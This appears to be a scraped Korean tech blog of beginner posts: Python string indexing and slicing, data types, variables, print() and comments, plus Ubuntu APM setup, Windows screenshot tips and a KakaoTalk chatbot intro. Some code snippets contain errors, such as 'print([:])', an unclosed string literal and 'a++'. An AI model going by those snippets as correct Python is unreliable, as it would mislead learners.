시작 인덱스만 지정해 줄 경우 끝인덱스는 문자열의 끝인덱스로 자동 설정되어 출력한다

# Code

print(my_str[8:])


# 실행 결과

> haste, but without rest.


끝인덱스만 지정해 줄 경우 시작인덱스는 0번째 인덱스로 자동 설정되어 출력한다

# Code

print(my_str[:4])


# 실행 결과

> with


시작인덱스와 끝인덱스 둘 다 지정해주지 않았을 경우

# Code

print([:])


# 실행 결과

> without haste, but without rest.


이런 경우는 그냥 print(my_str)과 동일한 결과값이 출력된다






이 댓글을 비밀 댓글로

[Python3] 파이썬의 문자열 인덱싱

Posted by Root @ Hacker Xeros
2018.03.21 05:14 Python/ㄴ 문법

문자열 인덱싱이란?

인덱스(index) 즉 idx는 사실 쉽게 말해 순서라고 생각하면 이해하기 쉽다, 또한 인덱스라는것에 대해 배울 떄 한가지 더 명심해야 할 것 중 하나가 인간은 숫자를 셀 때 1부터 세나가지만 컴퓨터는 0부터 세나간다

index의 사전적 의미는 "색인"이다

"문자열" 인덱싱에서 만약 "hello" 라는 문자열을 인덱싱 할 경우 아래와 같이 이해하면 된다

[ h ] [ e ] [ l ]  [ l ]  [ o ]
[ 0 ] [ 1 ] [ 2 ] [ 3 ] [ 4 ]
문자열에서 문자의 순서대로 세나간다, 이것이 문자열 인덱싱이다.

문자열 인덱싱의 개념을 알았으니 이제 문자열 인덱싱은 어떻게 사용하는것인지 알아보도록 하자.

# Code

my_str = "without haste, but without rest." # 인덱스를 설명하기 위해 my_str 변수에 문자열 한줄을 저장한다
print(my_str) # 우선 my_str 변수를 출력한다
print(my_str[0], my_str[10]) # my_str 변수의 0번째 인덱스에 있는 문자와 10번째 인덱스에 있는 글자를 출력한다


# 출력 결과

without haste, but without rest.
w s


위의 출력 결과를 다시 한번 설명하자면

"without haste, but without rest." 문자열에서 0번째에 존재하는 문자는 "w"이고 10번째에 존재하는 문자는 s이다

(without haste, but without rest.)


여기서 한가지 주의 할 점이 있다, 바로 인덱스에서 인식하는 문자열은 모든 문자가 포함된다.


특수문자, 공백, 숫자, 모든 언어 전부 다 인덱스에 포함된다 따라서 만약 위 문자열에서 7번째 인덱스에 있는것을 출력 할 경우 공백이 출력된다.


인덱스에 음수 값을 넣을 경우

통상적인 언어라면 인덱스에 음수값을 넣을수는 "없다", 하지만 파이썬이라면 가능하다
양수를 인덱스에 넣었을 때는 왼쪽에서 오른쪽 순으로 인덱스를 셋지만 인덱스에 음수값을 넣었을 경우에는 오른쪽에서 왼쪽으로 인덱스를 센다, 하지만 0번째 인덱스는 이미 양수 인덱스 규칙에서 사용하고있기때문에 음수로 인덱스를 셀 경우 0부터 세는것과는 다르게 -1부터 센다

한번 인덱스에 음수값을 넣어보자.

# Code

my_str = "without haste, but without rest.
print(my_str[-1])


#출력 결과

.


이런식으로 문자열의 맨 오른쪽부터 왼쪽으로 셀 때 첫번째 문자인 "." 이 출력된다


초과 된 인덱스를 호출 할 경우

"without haste, but without rest." 이 문자열의 인덱스의 범위는 0 ~ 31, -32 ~ -1 까지이다 만약 32번째 인덱스 또는 -32번째 인덱스를 호출 할 경우 에러가 발생한다, 왜냐하면 음수 인덱스의 최대 범위는 -32이고 양수 인덱스의 최대 범위는 31까지이기때문이다








이 댓글을 비밀 댓글로

[Python3] 파이썬의 자료형, 자료형에 따른 사용법

Posted by Root @ Hacker Xeros
2018.03.21 05:13 Python/ㄴ 문법

파이썬의 자료형(자료의 형태)이란?

파이썬 뿐만 아니라 모든 언어에서 자료형의 개념은 중요하다, 자료형에는 크게 숫자형(Number)과 문자형(String)이 존재한다.
자료형의 종류는 아래와 같다

1. 숫자형 (number)
> 정수 (integer) : -10, 0, 10
> 양의 정수와 음의 정수 모두 해당한다
> 실수 (float-point) : -1.1, -20.1, 10.123

> 양의 실수와 음의 실수 모두 해당한다

> 지수 (exponent) : 20.1e1, 20.1E-1

> 2진수 (binary-number) : 0b10, 0B11

> 8진수 (octal-number) : 0o10, 0O16

> 16진수 (hexadecimal-number) : 0xA0, 0XB1


2. 문자형

> "abcd"

> '1234'

> 따옴표로 묶으면 문자열이 된다


문자열을 만드는 4가지 방법

> 큰 따옴표로 묶는다 ("happy day")

> 작은 따옴표로 묶는다 ('happy day')

> 큰 따옴표 3개를 연속 사용해서 묶는다 ('''happy day''')

> 작은 따옴표 3개를 연속 사용해서 묶는다 ('''happy day''')


왜 문자열을 출력하는데 저렇게 다양한 방법들이 존재할까?


각 방법들의 사용법을 알아보도록 하자


가끔 우리는 "(큰따옴표)나 '(작은 따옴표)를 출력해야 할 때가 생긴다.

Ex) print("제로스가 "파이썬은 정말 착한 언어입니다" 라고 말했다")


만약 위와 같이 작성 할 경우 에러가 발생한다, 이뉴는 문자열의 시작과 끝은 항상 큰, 작은따옴표로 감싸주어야하는데 위와같이 코드를 작성 할 경우


print("제로스가" 파이썬은 정말 착한 언어입니다 "라고말했다") 처럼 빨간 부분을 감싸주지 못해 저부분을 파이썬 컴파일러는 읽을 수가 없었던것이다


이럴 경우 어떻게 해야할까?

방법은 간단하다 print('제로스가 "파이썬은 정말 착한 언어입니다" 라고 말했다') 이런식으로 작은따옴표를 사용 해 문자열을 감싸주면 해결된다

반대로 문자열 안에 '(작은따옴표)를 사용하고 싶을 경우 print("제로스가 '파이썬은 정말 착한 언어입니다' 라고 말했다") 이런식으로 문자열 안에 '(작은따옴표)를 포함시키면서 "(큰따옴표)로 감싸주면 해결된다


그럼 '''(작은따옴표 3개)와 """(큰따옴표 3개)는 언제사용하는것일까?

바로 여러 줄의 코드를 작성 할 때 사용한다, 이것또한 작은따옴표와 큰따옴표의 차이는 위와 같다


# Code

print("[문자열 만드는 4가지 방법]")
print('1. happy day')
print("2. happy day")
print('''
3. happy
day''')
print("""
4. happy
day""")


# 실행 결과

[문자열 만드는 4가지 방법]
1. happy day
2. happy day

3. happy
day

4. happy
day





이 댓글을 비밀 댓글로

[Python3] 파이썬의 변수

Posted by Root @ Hacker Xeros
2018.03.21 05:13 Python/ㄴ 문법

변수(Variable)란?

1. 값을 저장하는 공간

2. 파이썬에서의 변수는 '객체'를 가리킨다

> 다른 프로그래밍 언어에서는 선언된 변수 안에 값을 짚어넣는 반면, 파이썬은 그저 값을 가리키는 용도로 사용한다


변수에 값을 대입하는 여러가지 방법


1. 변수에 값을 하나씩 대입해준다


# Code

a = 1 # a는 변수, a에 1을 대입
b = 2
c = 3
print(a, b, c)


# 실행 결과

> 1 2 3


2. 변수에 값을 한번에 대입하는 방법

# Code

a, b, c = 4, 5, 6
print(a, b, c)


# 실행 결과


> 4 5 6

이 순간 변수 a, b, c에 들어있던 1, 2, 3이라는 값과는 연결고리가 끊어지고 변수 a, b, c에는 4, 5, 6 이라는 새로운 값이 저장된다.


3. 변수에 모두 같은 값을 대입하는 방법

# Code

a = b = c = 7
print(a,b,c)


# 실행 결과

> 7 7 7

위 코드를 이해하기 쉽게 풀어쓰면 7은 c이며, c는 b이며 b는 a이다 따라서 모두 7, 7, 7 이라는 값을 각 변수에 저장하게 된다


4. 변수에 값 대입 (변수에 값을 하나씩 대입하는것과 같은 원리)

# Code

a = 8; b = 9; c = 10
print(a,b,c)


# 실행 결과

> 8 9 10

1번 방법과 같은 방식이다 하지만 다른 점이 있다면 1번의 코드를 한 줄로 적었다는것이다, 지난 파이썬 기본문법 에서 설명했던 ;(세미콜론)을 사용하는 방법이다 ;(세미콜론)을 사용하여 식의 종결의 끝을 알려준다면 두 줄 이상에 걸쳐 적을 코드를 한 줄에 적을 수 있다 하지만 필자는 해당 방법보다는 1번 방법을 사용하는것을 추천한다 이유는 간단하다, "가독성" 떄문이다


5. 변수끼리 값 교체

# Code

a, b = b, a
print(a,b,c)

a,b,c = c,a,b
print(a,b,c)


# 실행 결과

> 9 8 10
> 10 9 8

변수끼리 값을 교체할 수 있는것은 파이썬의 강력한 기능 중 하나이다


변수에 값을 저장하는것이 아닌 가리키는 파이썬

위에서 말했다싶이 파이썬은 다른 언어와는 다르게 변수에 값을 저장하는것이 아니라 단순히 값을 가리키는 용도로 사용된다

# Code

a = 1
b = 1
print( id(1) )
print( id(a) )
print( id(b) )


# 실행 결과

1689346272
1689346272
1689346272


위와 같이 1의 id값은 1689346272 라는 것을 알 수 있다, 그런데 1이라는 값을 갖고있는 a, b 변수 모두 1과 같은 1689346272 이라는 id를 가지고 있는 것을 알 수 있다


변수명의 규칙

1. 변수명은 한글, 영어로 작성 가능하다, 하지만 영어와 언더바 조합으로만 변수명을 작성하는것이 백번 낫다
2. 변수명에 특수문자는 _(언더바)만 사용가능하며 숫자는 사용할 수 있지만 첫번째 글자로는 안된다
3. 변수명에 사용되는 영어는 대소문자를 구분하여 사용하여야 한다 (Ex. A 변수와 a 변수는 서로 다른 변수이다)
4. 변수명에 예약어는 사용할 수 없다 (import와 같은 언어 내부의 기능이 있는 단어)
5. 4번과 비슷하다, 변수명에 함수는 사용할 수는 있지만 그럴 경우 해당 함수가 기능상으로 절대 동작하지 않으므로 절대 사용하면 안된다 (Ex. pint()함수)
# 4, 5번 설명
print()
print("재미나는 파이썬")

print = "정말인가요?" # 이 순간 print는 변수화가 되었다
#print("재미있어요") # print() 함수는 사용할 수 없다
del(print) # 변수화된 print 제거
print("네 재미있어요") # 제거 후부터는 다시 print()함수를 사용할 수 있다

# import = "하하하" # 오류발생 : 예약어는 실행조차 되지 않음!

작성 요령

1. 변수명을 작성할 때는 이름만 봐도 알 수 있게 '의미'를 부여한다
> 여러 단어가 조합된 경우, _언더바로 구분 (Ex. my_name = "제로스", my_age=19)
> 기본적으로 소문자를 사용한다







이 댓글을 비밀 댓글로

[Python3] 파이썬의 Print()함수와 기본문법 2

Posted by Root @ Hacker Xeros
2018.03.21 05:12 Python/ㄴ 문법

Print() 함수에서 덧셈 기호 (+)의 용도


# Code

print(1+1) # 숫자 + 숫자 -> 덧셈 연산
print("1"+"1") # 문자열 + 문자열 -> 문자열 연결
print("1" "1") # 문자열 끼리는 기호 없이 연결 가능


# 실행 결과

> 2
> 11
> 11


이 부분을 보고 우리는 몇가지를 알 수 있다.

print()함수 안에 숫자+숫자를 사용 할 경우 함수 안의 숫자를 계산해서 나온 결과값을 출력한다, 하지만 "1"+"1"과 같이 콤마 안에 써있는 숫자는 문자형으로 인식하고

"1"이라는 문자에 "1"이라는 문자를 연결 해 "11" 이라는 결과값을 출력하는것을 볼 수 있다.


문자열을 "연결" 해줄때는 "문자열 a" + "문자열 b" 또는 "문자열a""문자열b" 라는 코드를 작성해 "문자열a문자열b" 라는 값을 출력할 수 있다


그렇다면 아래 방법과도 같이 코드를 작성할 수 있지 않을까?


# Code

print("1" + 2)
print("1" 2)


불가능하다, 에러가 발생해 컴파일조차 진행할 수 없다(문자열 + 숫자 형식은 사용할 수 없다.)


문자열 + 숫자 형식은 사용할 수 없다.


그럼 문자열 과 숫자를 하나의 print() 함수에서 사용하고 싶을 떈 어떻게해야할까?


지난 파이썬의 Print()함수와 기본문법 1 포스팅의 ,(콤마) 를 사용해 나열하면 된다


# Code

print(2018, "년 입니다.", sep="")
# print()함수에서 콤마(,)로 나열하면 무엇이던 사용가능하다.


# 실행 결과

> 2018년 입니다.




이 댓글을 비밀 댓글로

[Python3] 파이썬의 Print()함수와 기본문법 1

Posted by Root @ Hacker Xeros
2018.03.21 05:11 Python/ㄴ 문법

print() 함수란?

모든 프로그램이 마찬가지이지만 Print 함수는 앞으로 자주 사용하게 될 함수이다, 프로그램에 있어 사용자가 읽을 수 있도록 인터페이스 창에 어떠한 문자를 출력하기 위해 Print 함수를 사용한다

> 인터페이스 창(화면) : IDLE이나 콘솔(CMD)
> 함수 : 특정 행위를 하기 위해 만들어놓은 기능


기본 출력
간단한 예시로 Hello world!를 출력해보자
# Code

print("hello world!")
print(1)


# 실행 결과

> hello world!
> 1

print("문자열") 또는 print(숫자)를 사용해 문자열 또는 숫자를 출력할 수 있다

숫자를 출력할때는 ' (따옴표)나 " (큰따옴표)를 사용하지 않아도 되지만 문자열을 출력할 때는 사용하여야한다



숫자 계산 후 출력

Print함수 내에서 값을 계산하여 출력하는것또한 가능하다

# Code

print(1 + 2)


# 실행 결과

> 3



세미콜론(;)을 사용해 두 줄의 코드를 한 줄에 코딩

Print함수 내에서 여러가지 숫자 또는 문자를 출력하는것또한 가능하다

# Code

print(1); print("안녕하세요")


# 실행 결과

> 1
> 안녕하세요



Print함수에서 여러가지 숫자 또는 문자를 ,(콤마)로 구분해 출력

# Code

print(1,2,3,"A","B","C")


# 실행 결과

> 1 2 3 A B C



Print 함수에서 기본 적용되는 구분기호와 마지막기호를 변경

위의 과정까지 따라왔더면 한번쯤은 print 함수를 연이어 사용했을때 자동 줄넘김이 되는것을 변경할순없을까? 라는 생각을 해볼 수도 있다,

그때 사용하는것이 sep 과 end이다.


우선 코드부터 살펴보도록 하자

# Code

print(1,2,3,sep="") # 기본 적용되는 공백을 빈문자로 지정
print("안녕",end="") # 출력이 끝난 후 기본개행을 빈문자로 지정
print("하세요")

만약 위와 같이 코드를 작성하지 않고

# Code

print(1,2,3) # 기본 적용되는 공백을 빈문자로 지정
print("안녕") # 출력이 끝난 후 기본개행을 빈문자로 지정

위와 같이 소스코드를 작성하게 된다면

# 실행 결과

> 1 2 3
> 안녕
> 하세요

이런식으로 123이 아닌 1 2 3으로, 안녕하세요가 아닌 안녕\n하세요로 출력이 된다


sep과 end 에 대해 조금 더 자세하게 설명해보자면

sep 은 print함수에서 여러개의 숫자를 ,(콤마)로 구분 해 출력할때 콤마 사이사이에 종단을 지정해주며 기본값은 " "(공백)이다

end 는 print함수가 종결될 때 함수 끝의 종단을 지정해주며 기본값은 "\n"(개행)이다






이 댓글을 비밀 댓글로

[Python3] 파이썬의 주석처리

Posted by Root @ Hacker Xeros
2018.03.21 05:09 Python/ㄴ 문법

파이썬에는 두가지 형태의 주석이 있다

블록주석
블록주석은 다음과 같이 작성한다
'''

주석이란?
    1. 소스에 설명을 추가하는 것
    2. 실행 시 무시된다.(프로그램 수행에 영향이 없다)
    3. 여러 줄 주석 : 작은따옴표 3개 또는 큰따옴표3개로 묶는다

'''

'''가 블록주석의 시작이고 '''가 블록주석의 끝이다.

# 라인주석은 이렇게 사용한다
# 보통 한 줄의 코드에 대한 설명 또는 변수의 역할을 간략하게 설명할 때 사용한다

주석이 적은 코드, 많은 코드, 어떤것이 좋은 코드인가?

사실 필자의 생각은 주석이 많거나 적다고 해서 좋거나 좋지 못한 코드가 아니라고 생각한다, 주석은 프로그램의 코드를 설명하기 위한 좋은 방법 중의 하나이고 사실 직관적으로 주석없이 이해할 수 있는 코드가 좋겠지만 프로그램 소스코드의 길이가 길어지면 길어질수록 주석또한 많아질수밖에 없는것이 당연한것이다


Clean code that works


"동작하는 깨끗한 코드", 이상적인 코드라고 할 수 있겠다.


하지만 내용도 불분명하고 도저히 이해불가한 코드에 주석은 필수적이다. 또는 헷갈리기 쉬운 부분도 주석은 꼭 필요하다.

주석은 이해하기 어려운 곳에 주로 작성되기 때문에 "주석이 필요하다면 좋은 코드가 아니다" 라는 말이 나온 것이다

하지만 Simple Code를 작성할 수 없는 입장이라면 주석은 어쩔 수 없이 꼭 필요하다.


적절하지 못한 주석

다음의 예처럼 누구나 알고있는 뻔한 내용에 주석을 다는 것은 소스코드를 지저분하게 만들뿐이다
a++ # a의 값을 증가

또 한가지 주석 사용 시 주의할 점이 있다. 그것은 주석의 내용도 소스코드가 변경되면 업데이트 되어야 한다는 점이다.

소스코드는 변경이 되었는데 주석문은 수정을 안 하는 경우가 종종 있다.

귀찮아서, 바빠서 그럴수도 있지만 소스코드에 달린 엉뚱한 주석문은 소스코드를 읽는 다른 이에게 엄청난 혼란을 주게 된다.


주석을 사용하는 또 다른 이유

주석을 사용하는 또 다른 이유는 현재 작성한 소스코드의 특정 부분을 잠시 사용하지 않게 만들고 싶은 경우에도 사용한다.
예를들어 기존의 코드보다 좀 더 업그레이드 된 코드를 작성하고 싶은 경우 기존 코드를 모두 삭제하고 시작하는 것이 아니라 잠시 주석처리하고 새로운 코드를 만드는 것이 더 유리하다. 주석처리한 기존코드를 참고할 수도 있고 최악의 경우에 기존의 코드로 쉽게 돌아갈 수 있기 때문이다 (주석만 해제하면 된다)









이 댓글을 비밀 댓글로

[Python3] 파이썬 설치

Posted by Root @ Hacker Xeros
2018.03.21 05:08 Python/ㄴ 문법

파이썬 3.x.x 버전대 설치




1. https://www.python.org/downloads/ 접속

2. 해당 페이지에서 Download Python 3.x.x 버튼을 클릭한다

3. 다운로드되는 설치파일을 실행해 설치해주면 된다






이 댓글을 비밀 댓글로

[Windows Util]프린트스크린 키를 조금 더 유용하고 편리하게 사용해보자

Posted by Root @ Hacker Xeros
2018.03.21 05:04 Windows Utilities/ㄴ Tip

프린트스크린 키를 조금 더 유용하고 편리하게 사용하기

Xeros입니다

가끔씩 컴퓨터를 사용하시다보면 화면 캡쳐를 해야될 때가 있는데요 이럴때 윈도우에 내장되어있는 "캡처 도구" 라는 프로그램을 사용하셔도 되고

외부 캡처 프로그램을 따로 다운로드 받으셔서 사용하셔도되는데요 이런 번거로움과 짧은 순간순간을 빠르게 저장해야될 때가 있습니다

이럴 때 주로 키보드의 Print Screen 단축키를 이용하는데요


(사용하시는 키보드에 따라 키의 위치와 이름이 조금씩 다릅니다 하지만 대부분 PrtScn이나 Print Screen 이런식으로 적혀있습니다)



프린트 스크린 키를 누르시면 클립보드에 현재 화면이 복사됩니다

이제 복사된 사진을 카카오톡 대화방에 Control + V 커맨드로 붙여넣기하거나

그림판을 실행시키신 후 마찬가지로 Control + V 커맨드로 붙여넣기 하시면 됩니다


그런데 이 방식을 사용하면 저장이 되지 않고 단순히 클립보드에만 임시로 저장이 되기때문에 순간 순간의 사진들을 저장하셔야 하는분들께는 불편하실 수 있습니다

그래서 이게 불편하신 분들은 아래 소개드리는 방식을 사용하시면 보다 편리하게 순간 순간을 저장하실 수 있습니다


키보드의 윈도우 버튼 + Print Screen 커맨드를 사용하시면

C:\Users\사용자이름\Pictures\Screenshots

즉 내PC > 사진 > 스크린샷 경로에 

이런식으로 스크린샷들이 바로바로 저장됩니다


추가적으로 다중모니터를 사용하시거나 특정 영역을 캡쳐하시고싶으신분들이 계실겁니다

그런분들은

현재 보고있는(캡쳐하고싶은) 창을 마우스로 한번 클릭해주신 후 Alt + Print Screen 커맨드를 사용하시면 현재 영역만 깔끔하게 출력됩니다


이 댓글을 비밀 댓글로

[Server] 우분투 16.04, 17.10 버전에 웹서버(APM) 설치하기

Posted by Root @ Hacker Xeros
2018.03.21 05:02 Server/ㄴ 우분투 리눅스

우분투 리눅스 16.04 / 17.10 버전에서 웹서버 구동, 아파치, PHP, MYSQL (APM) 설치하기


안녕하세요 Xeros입니다 오늘은 우분투 리눅스에 APM 을 전부 설치 즉 웹서버를 구동시켜볼건데요


우선 설명에 들어가기 앞서 정리된 영상을 훑어보시고 중요한 부분은 아래 설명에서 확인하시면 좋을 것 같습니다



설치 방법 설명입니다



1. 아파치를 설치해봅시다

apt-get install apache2



2. mysql을 설치해봅시다

apt-get install mysql-server mysql-client



3. php를 추가해봅시다

apt-get install php libapache2-mod-php php-xml php-gd php-mysql


모든 설치가 완료되었다면

vi /etc/apache2/apache2.conf 에 들거가 키보드 방향키로 맨 마지막줄로 이동 한 뒤 키보드의 insert 키를 사용하여


# Enable Phpmyadmin

Include /etc/phpmyadmin/apache.conf

위 두 줄을 추가해주세요



모든 작업이 완료되었다면 순차적으로 아래 커맨드를 이용해 mysql과 apache의 서비스를 재시작해줍시다

service mysql restart

service apache2 restart




이 댓글을 비밀 댓글로

[Server] Windows10 누구나 쉽고빠르게 웹서버 구축하기

Posted by Root @ Hacker Xeros
2018.03.21 05:02 Server/ㄴ 윈도우

윈도우 사용자라면 누구나 3분안에 웹서버 구축


안녕하세요 Xeros입니다




자세한 설치방법은 위 영상에 있습니다


1.오토셋 10버전(최신버전)을 다운로드받아주세요

2.다운로드 받으시고나서 웹서버와 Mysql 서버를 실행해주시면 설치와 구동 완료입니다


간혹 정상 구동이 안되시는분들이 계신데 그런 경우 오토셋 설치 디렉터리에 진입하셔서 vc redist라는 설치프로그램을 사용하여 패키지를 설치하시면 오류는 사라집니다

이 댓글을 비밀 댓글로

[Server] Apache2 아주 간단하게 웹서버 파비콘 설정하기

Posted by Root @ Hacker Xeros
2018.03.21 05:00 Server/ㄴ 우분투 리눅스

아주 간단하게 웹서버 파비콘 설정하기

안녕하세요 Xeros입니다


정말 너무나도 간단하게 웹서버 파비콘 설정하는 방법을 알아볼텐데요 정말 너무 간단합니다


우선 파비콘이란?


이런식으로 웹사이트에 접속했을때 좌측 상단에 뜨는 아이콘을 말합니다


설정방법은 매우 간단합니다

이런식으로 파비콘이 될 ico 확장자 이미지파일을 웹서버 루트디렉터리(웹서버 가장 앞단 디렉토리)에 favicon.ico 파일명으로 넣어주시기만 하면 됩니다..

이 댓글을 비밀 댓글로

[Project]누구나 쉽게 카카오톡 챗봇 개발하기 1

Posted by Root @ Hacker Xeros
2018.03.21 04:57 Other Project/ㄴ 챗봇



카카오톡 챗봇 개발하기 1장

안녕하세요 Xeros입니다


많은분들이 요청해주셔서 이번에는 카카오톡 챗봇을 만드는 방법에 대해서 써보려고 합니다

하나의 프로젝트로 진행해보려고 하는데요 문법, 기술설명을 하는것도 좋지만 사용 언어가 Js인만큼 문법과 프로그래밍 기초 지식은 다른곳에서 얻으시리라 믿고

문법에 중요도를 두는것이아니라 하나의 봇을 완성시키는식으로 강의를 써내려갈 생각입니다


흔히들 챗봇이라고 하면 카카오톡 플러스 친구를 떠올리시는데요, 제가 만드는 챗봇은 살짝 이와 다릅니다

플러스친구의 챗봇은 일반 채팅방에 접근이 불가능하지만 제 방식의 챗봇과 같은 형태로 만드신다면 일반 사용자 계정처럼 만들어지며 당연히 카카오톡 오픈채팅, 일반 단체채팅, 1대1 개인채팅 등 여러분야에서 사용하실 수 있습니다



해당 영상에서 기본적인 챗봇 설정과 카카오톡 부계정 생성까지 전부 설명되어있습니다


카카오톡 챗봇 기본설정은 위 영상을 보시고 하시면 될것같습니다 딱히 코딩을 하지 않았기때문에.. 설치하는 방법은 말로 설명듣기보단

영상으로 듣는이 훨씬 간결하고 수월하실 것 같습니다


본격적인 코딩은 다음 강좌때부터 진행하도록 하겠습니다.


이 댓글을 비밀 댓글로

티스토리 툴바